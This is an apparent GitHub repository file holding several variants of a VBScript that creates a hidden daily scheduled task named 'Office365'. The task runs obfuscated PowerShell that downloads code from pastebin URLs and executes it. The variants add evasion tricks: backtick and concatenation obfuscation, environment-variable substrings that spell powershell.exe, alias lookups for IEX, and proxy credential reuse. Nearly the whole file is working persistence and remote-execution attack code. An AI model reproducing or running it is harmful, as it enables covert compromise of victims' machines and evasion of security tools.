-
Notifications
You must be signed in to change notification settings - Fork 22
/
Taskschedule_Download_Cradle.vbs
81 lines (60 loc) · 5.05 KB
/
Taskschedule_Download_Cradle.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#This .vbs scripts can be used, to create a taskschedule persistence with a not proxy aware PowerShell Download Cradle
Dim objShell
Set WshShell = CreateObject("WScript.Shell")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""pOwErsHelL -w hidDEn -nOpR -coM 'I`eX (N`E`W`-obje`CT Net.Webclient).\\\""dowNloa`DST`RIng\\\""((\\\""https://pastebin.com/raw/88SGrHVh\\\""))"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#This .vbs scripts can be used, to create a taskschedule persistence with a not proxy aware PowerShell Download Cradle
Dim objShell
Set WshShell = CreateObject("W"+"S"+"cr"+"ip"+"t."+"Sh"+"e"+"l"+"l")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""pOwErsHelL -w HIdDEn -nOPr -co 'i`Ex (N`E`W`-obje`CT Net.Webclient).\\\""dowNloa`DST`RIng\\\""((\\\""ht\\\""+\\\""tps://pastebin.com/raw/88SGrHVh\\\""))"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#This .vbs scripts can be used, to create a taskschedule persistence with a not proxy aware PowerShell Download Cradle
#Info: %APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l = powershell.exe
Dim objShell
Set WshShell = CreateObject("WScript.Shell")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""%APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l -w HidDEn -nOPr -co 'i`Ex (N`E`W`-obje`CT Net.Webclient).\\\""dowNloa`DST`RIng\\\""((\\\""ht\\\""+\\\""tps://pastebin.com/raw/88SGrHVh\\\""))"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#This .vbs scripts can be used, to create a taskschedule persistence with a not proxy aware PowerShell Download Cradle
#Info: %APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l = powershell.exe
#Info: &(GAL IE*) = Alias IEX
Dim objShell
Set WshShell = CreateObject("W"+"S"+"cr"+"ip"+"t."+"Sh"+"e"+"l"+"l")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""%APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l -w HidDEn -nOPr -co &(GAL IE*)((N`E`W`-obje`CT Net.Webclient).\\\""dowNloa`DST`RIng\\\""((\\\""ht\\\""+\\\""tps://pastebin.com/raw/88SGrHVh\\\"")))"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#This .vbs scripts can be used, to create a taskschedule persistence with a not proxy aware PowerShell Download Cradle
#Info: %APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l = powershell.exe
#Info: &(GAL IE*) = Alias IEX
#Info: .(Get-Command N*ct) = New-Object
Dim objShell
Set WshShell = CreateObject("WScript.Shell")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""%APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l -w HidDEn -nOPr -co &(GAL IE*)((.(Get-Command N*ct)Net.WebClient).\\\""dowNloa`DST`RIng\\\""((\\\""ht\\\""+\\\""tps://pastebin.com/raw/Qpiz8y6c\\\"")))"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#Info: This .vbs script can be used, to create a taskschedule persistence with a proxy aware PowerShell Download Cradle
#Info: To escape \" in .vbs \\\""
Dim objShell
Set WshShell = CreateObject("W"+"S"+"cr"+"ip"+"t."+"Sh"+"e"+"l"+"l")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""PoWeRsHelL.eXe -NoP -w HidDen -c $a=neW-ObJeCt nET.wEbClieNt;$a.pROxy=[NeT.WeBreQueSt]::geTsyStEmweBprOxy();$a.prOxY.crEdEnTials=[NEt.crEdEnTiaLcaChe]::deFaUltcrEdeNtials;IeX $a.DOwNLOadstRiNg(\\\""ht\\\""+\\\""tps://pastebin.com/raw/Qpiz8y6c\\\"")"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#Info: This .hta script can be used, to create a taskschedule persistence with a proxy aware PowerShell Download Cradle
#Info: To escape \" in .vbs \\\""
#Info: &(GAL IE*) = Alias IEX
Dim objShell
Set WshShell = CreateObject("W"+"S"+"cr"+"ip"+"t."+"Sh"+"e"+"l"+"l")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""PoWeRsHelL.eXe -NoP -w HidDen -c $a=neW-ObJeCt nET.wEbClieNt;$a.pROxy=[NeT.WeBreQueSt]::geTsyStEmweBprOxy();$a.prOxY.crEdEnTials=[NEt.crEdEnTiaLcaChe]::deFaUltcrEdeNtials;&(GAL IE*) $a.DOwNLOadstRiNg(\\\""ht\\\""+\\\""tps://pastebin.com/raw/Qpiz8y6c\\\"")"""
WshShell.Run Connect, 0, true
Set objShell = Nothing
#Info: This .hta script can be used, to create a taskschedule persistence with a proxy aware PowerShell Download Cradle
#Info: To escape \" in .vbs \\\""
#Info: %APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l = powershell.exe
#Info: &(GAL IE*) = Alias IEX
Dim objShell
Set WshShell = CreateObject("W"+"S"+"cr"+"ip"+"t."+"Sh"+"e"+"l"+"l")
Connect="cmd.exe /c SchTasks /Create /SC DAILY /ST 12:00 /TN Office365 /TR ""%APPDATA:~-13,1%%ALLUSERSPROFILE:~-9,-8%%OS:~-5,1%er%TMP:~7,1%he%TEMP:~-10,1%l -NoP -w HidDen -c $a=neW-ObJeCt nET.wEbClieNt;$a.pROxy=[NeT.WeBreQueSt]::geTsyStEmweBprOxy();$a.prOxY.crEdEnTials=[NEt.crEdEnTiaLcaChe]::deFaUltcrEdeNtials;&(GAL IE*) $a.DOwNLOadstRiNg(\\\""ht\\\""+\\\""tps://pastebin.com/raw/Qpiz8y6c\\\"")"""
WshShell.Run Connect, 0, true
Set objShell = Nothing